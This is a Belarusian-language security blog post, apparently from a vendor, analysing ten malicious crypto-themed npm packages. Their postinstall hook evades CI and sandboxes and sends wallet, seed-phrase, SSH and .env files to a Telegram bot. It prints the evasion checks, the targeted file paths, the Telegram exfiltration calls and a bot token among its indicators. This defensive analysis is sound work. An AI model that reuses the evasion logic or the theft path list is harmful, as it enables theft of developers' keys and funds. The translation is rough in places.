SeedSweep: Дзесяць шкоднасных крыпта-пакетаў npm

SeedSweep: Дзесяць npm-пакетаў на крыптатэматыку, якія працуюць толькі тады, калі за імі ніхто не назірае

TL, д-р

9 чэрвеня 2026 года адзіны акаўнт выдаўца npm, aicrypto-xzggg, адпраўлена дзесяць пакетаў з крыпта- і Web3-стылем назваў — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, і яшчэ шэсць.

Кожны пакет выконвае адну і тую ж карысную нагрузку з postinstall хук. Пры ўсталёўцы правяраецца, ці працуе ён унутры непрамежкавай інтэграцыі ці ў пясочніцы — калі не, то чытаюцца сховішчы ключоў кашалька, файлы пачатковых фраз, ключы SSH і .env файлы з шасці блокчэйн-экасістэм і перадае іх боту Telegram.

Адзіны паказчык, на які абаронца можа адразу ж пашукаць, — гэта ідэнтыфікатар бота Telegram. 8227918239.

Цяжар: крытычны — прамое крадзеж ключоў подпісу і фраз аднаўлення з працоўныя станцыі распрацоўшчыкаў.

Атака: як гэта працуе

Пакеты рэкламуюць сябе як утыліты для распрацоўшчыкаў блокчэйнаў. package.json мінімальны і накіроўвае жыццёвы цыкл усталёўкі на скрыпт:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

скрыпты/postinstall.js гэта аднарадковая пракладка, якая загружае рэальную карысную нагрузку: патрабуецца(“../src/index.js”). Таму што пасля ўстаноўкі працуе аўтаматычна падчас ная ўстаноўка, распрацоўшчыку не патрабуецца імпартаваць код — для яго выканання дастаткова размясціць пакет у дрэве залежнасцей.

Ланцуг забойстваў унутры src/index.js гэта чатыры крокі:

  1. Праверка навакольнага асяроддзя. Функцыя аховы вызначае, ці выглядае хост як агент зборкі або пясочніца для аналізу.
  2. Затрымка. Выкананне адкладаецца за усталяваць час чакання прыблізна 7.4 секунды.
  3. Калекцыя. Праходзіць фіксаваны спіс шляхоў да файлаў-кашалькоў, ключоў і сакрэтных файлаў; існуючыя файлы ставяцца ў чаргу.
  4. Эксфільтрацыя. Файлы з чаргі адпраўляюцца боту Telegram, пасля чаго ім папярэднічае зводнае паведамленне.

Спіс мэтаў калекцыі ахоплівае шэсць ланцужкоў плюс агульныя сакрэты распрацоўшчыка. Абрэзана:

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Усяго дваццаць адзін шлях. Запісы каталога, такія як ~/.ethereum/сховішча ключоў пашыраюцца, і кожны файл унутры ставіцца ў чаргу. Эксфільтрацыя выкарыстоўвае API бота Telegram непасрэдна — a адправіць паведамленне выклік з апісаннем хаста і файла, а затым адправіць дакумент шматчасткавая загрузка для кожнага файла:

тэкст

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

Зводнае паведамленне, якое збіраецца код, пачынаецца з літаральнага радка КРЫПТА-ЗЛАДЗЕЙ, а затым імя хаста, імя карыстальніка, імя зыходнага пакета, колькасць файлаў і часовая метка.

Што тут новага

Адметнай рысай з'яўляецца не механізм крадзяжу — выключэнне з Telegram ад npm пасля ўстаноўкі hooks добра ўтаптаная. Гэта вароты для выканання пакаранняў. Перад тым, як што-небудзь зрабіць, карысная нагрузка выклікае функцыю, якая вяртае true, калі хост падобны на CI-раннер або пясочніцу, і вяртае раней, калі гэта так:

тэкст

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

Рэгулярны выраз container-id — гэта важная фраза: 12-шаснаццатковае імя хаста — гэта форма па змаўчанні, якую Docker прысвойвае кантэйнер, таму карысная нагрузка разглядае «імя майго хаста выглядае як кантэйнер Docker» як прычыну для спячага рэжыму. У спалучэнні з сямісекунднай затрымкай, дызайн спрыяе запуску на рэальнай рабочай станцыі распрацоўшчыка і ціхаму рэжыму ў любым месцы, якое выглядае як аўтаматызаваны аналіз. Менавіта гэты шлюз падаўляў сігналы дынамічнага аналізу і захоўваў статычны паток exfil у якасці асноўнага доказу асуджэння.

Timeline

Дата (UTC) падзея
2026-06-09 ~02:48 Першыя пакеты ў кластары пазначаны пры публікацыі (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25 Удзельнікі з вышэйшай версіяй пазначаныя (ethereum-kit-9 у 1.25.36, wallet-sdk-9 у 3.7.73)
2026-06-09 ~03:58–03:59 Канчатковыя ўдзельнікі пазначаны (defi-tools-39 у 4.26.29, swap-sdk-87 у 4.63.78, farming-tools-12 у 4.68.54)
2026-06-09 Усе дзесяць класіфікаваны як шкоднасныя і пададзеныя заявы на выдаленне з рэестра

Усе дзесяць з'явіліся прыкладна за семдзесят хвілін, што адпавядае аднаму сцэнарнаму публікацыйнаму запуску з аднаго акаўнта.

Паказчыкі кампрамісу

Сеткавыя і паводніцкія паказчыкі (хост адключаны):

індыкатар значэнне
Канчатковая кропка Exfil api[.]telegram[.]org (API бота Telegram)
Ідэнтыфікатар бота Telegram 8227918239
Токен бота 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
Ідэнтыфікатар чата ў Telegram 6433587894
Усталяваць кручок postinstallscripts/postinstall.jssrc/index.js
Маркерны радок CRYPTO STEALER у сабраным зводным паведамленні
Выдавец aicrypto-xzggg (пазначаны адрас электроннай пошты vipsyria88@gmail[.]com, неправераны)

Пакеты і версіі, кожная з якіх мае SHA-256 свайго src/index.js карысная нагрузка (карысныя нагрузкі функцыянальна ідэнтычныя і адрозніваюцца толькі ўбудаванай меткай назвы пакета, таму кожны хэш адрозніваецца):

HTML
пакет версія SHA-256 для src/index.js
farming-tools-12 4.68.54 b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-87 4.63.78 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-39 4.26.29 ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-9 3.7.73 ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-9 1.25.36 c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-1 1.0.0 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-4 1.0.0 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-9 1.0.0 db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-7 1.0.0 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-0 1.0.0 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

Просты пошукавы запыт: пошук журналаў усталёўкі і файлаў блакіроўкі для любога з дзесяці імёнаў, а таксама пошук выходнага трафіку для падключэнняў да API бота Telegram ад хостаў зборкі або распрацоўшчыкаў, якія інакш яго не выкарыстоўваюць.

Атрыбуцыя і назіраная паводзіны

Усе дзесяць пакетаў былі апублікаваныя адным акаўнтам, aicrypto-xzggg, чый пазначаны адрас электроннай пошты vipsyria88@gmail[.]comНі адрас электроннай пошты, ні спасылка на сістэму кантролю версій не пацверджаны ў метададзеных рэестра, а ўліковы запіс мае вельмі негатыўны рэйтынг рэпутацыі. Мы не пацвердзілі, хто кіруе гэтым уліковым запісам.

Дзве дэталі варта аддзяліць ад любой заявы аб ідэнтычнасці. Па-першае, package.json аўтар палявыя чытанні Алекс Сміт на кожным пакеце, у той час як фактычны рахунак публікацыі aicrypto-xzggg; поле аўтара — гэта самаабвешчаныя метададзеныя і не ўстанаўлівае аўтарства. Па-другое, нумары версій моцна адрозніваюцца — некаторыя ўдзельнікі знаходзяцца ў 1.0.0, іншыя ў 4.68.54 — што адпавядае прынцыпу паўторнага выкарыстання адной карыснай нагрузкі для новых назваў пакетаў, а не захавання рэальных гісторый выпускаў.

Паводзіны аднастайныя па ўсім кластары: аднолькавы спіс мэтавых шляхоў, аднолькавы ідэнтыфікатар бота і ідэнтыфікатар чата Telegram, аднолькавы шлюз асяроддзя, аднолькавы КРЫПТА-ЗЛАДЗЕЙ маркер. Гэта аднастайнасць — наймацнейшая сувязь паміж пакетамі. Гэта сігнал аднаго і таго ж аператара, а не ідэнтычнасць.

Уплыў, тэндэнцыі і рэкамендацыі для абаронцаў

Уразлівасць канкрэтная. Распрацоўшчык, які ўсталёўвае любы з гэтых пакетаў на рабочую станцыю, на якой захоўваецца праграмны кашалёк, файл пачатковых фраз або SSH-ключ, зчытвае і перадае гэтыя файлы з хоста на працягу некалькіх секунд. Фразы аднаўлення і ключы падпісання не мінаюць, як токен сесіі; як толькі mnemonic.txt ці Салана id.json пакідае машыну, сродкі, якімі яна кіруе, знаходзяцца пад пагрозай, пакуль яны не будуць перамешчаны. Гэты ж прагон таксама фіксуе .env файлы, якія звычайна ўтрымліваюць ключы API і ўліковыя дадзеныя базы дадзеных.

За гэтым кластарам стаяць дзве тэндэнцыі. Першая — гэта працяглае выкарыстанне крыпта- і Web3-тэматычных назваў для прыцягнення пэўнай аўдыторыі — распрацоўшчыкаў, якія захоўваюць кашалькі і ключы на ​​той жа машыне, на якой яны ўсталёўваюць залежнасці. Другая — гэта развіццё пясочніцы ў карысных нагрузках падчас усталёўкі. Шлюз, які правярае зменныя асяроддзя CI, імёны карыстальнікаў і форму імя хаста Docker container-id, — гэта наўмысная спроба паводзіць сябе інакш пры аналізе, чым на рэальнай рабочай станцыі, і гэта падымае планку для чыста дынамічнага выяўлення.

Для абаронцаў:

Усталёўваць з адключанымі скрыптамі па змаўчанні. npm install –ignore-scriptsабо ўсталяваць ігнараваць-скрыпты=праўда in .npmrc, перашкаджае пасля ўстаноўкі выкананне; уключайце скрыпты толькі для тых канкрэтных залежнасцей, якія сапраўды маюць у іх патрэбу.

Трымайце кашалькі і ключы падпісання па-за машынамі зборкі і распрацоўкі. Выкарыстоўвайце апаратны кашалёк або спецыяльны хост падпісання без залежнасцей.

Лячыць .env, сховішчы ключоў і файлы з пачатковымі фразамі як каштоўныя камяні кароны. Яны ніколі не павінны знаходзіцца ў каталогу, які таксама з'яўляецца ная ўстаноўка працоўнае дрэва.

Шукайце выходныя падключэнні да Telegram Bot API ад неканфігураваных інтэрфейсаў і хостаў распрацоўшчыкаў. Большасць асяроддзяў зборкі ніколі не выклікаюць яго; варта вывучыць тое, якое раптоўна выклікае яго адразу пасля ўсталёўкі.

Замацаванне і прагляд залежнасцей. Зусім новы пакет з агульнай крыпта-назвай, пасля ўстаноўкі перахопнік, і ніводная спасылка на рэпазітар не патрабуе праверкі перад тым, як яна трапіць у файл блакіроўкі.

Пункт аб пазбяганні ідэнтыфікатара кантэйнера таксама з'яўляецца напамінам для аналітыкаў: карысная нагрузка падчас усталёўкі, якая застаецца ў спячым стане ў пясочніцы, не з'яўляецца бяскрыўднай, яна выбарачная. Статычны агляд шляху ўсталёўкі застаецца надзейным спосабам убачыць, што дынамічнае выкананне можа адмовіцца паказаць.

Спасылкі

дакументацыя па ўсталёўцы npm — сцэнарыі жыццёвага цыклу і –ігнараваць-скрыпты— спасылка на адключэнне аўтаматычнай усталёўкі hooks. 

інструменты-для-аналізу-складання-праграмнага ...
Прыярытэзуйце, ліквідуйце і абараняйце свае праграмныя рызыкі
Атрымайце свой бясплатны рахунак.
Не патрабуецца крэдытная карта.

Забяспечце распрацоўку і пастаўку праграмнага забеспячэння

з пакетам прадуктаў Xygeni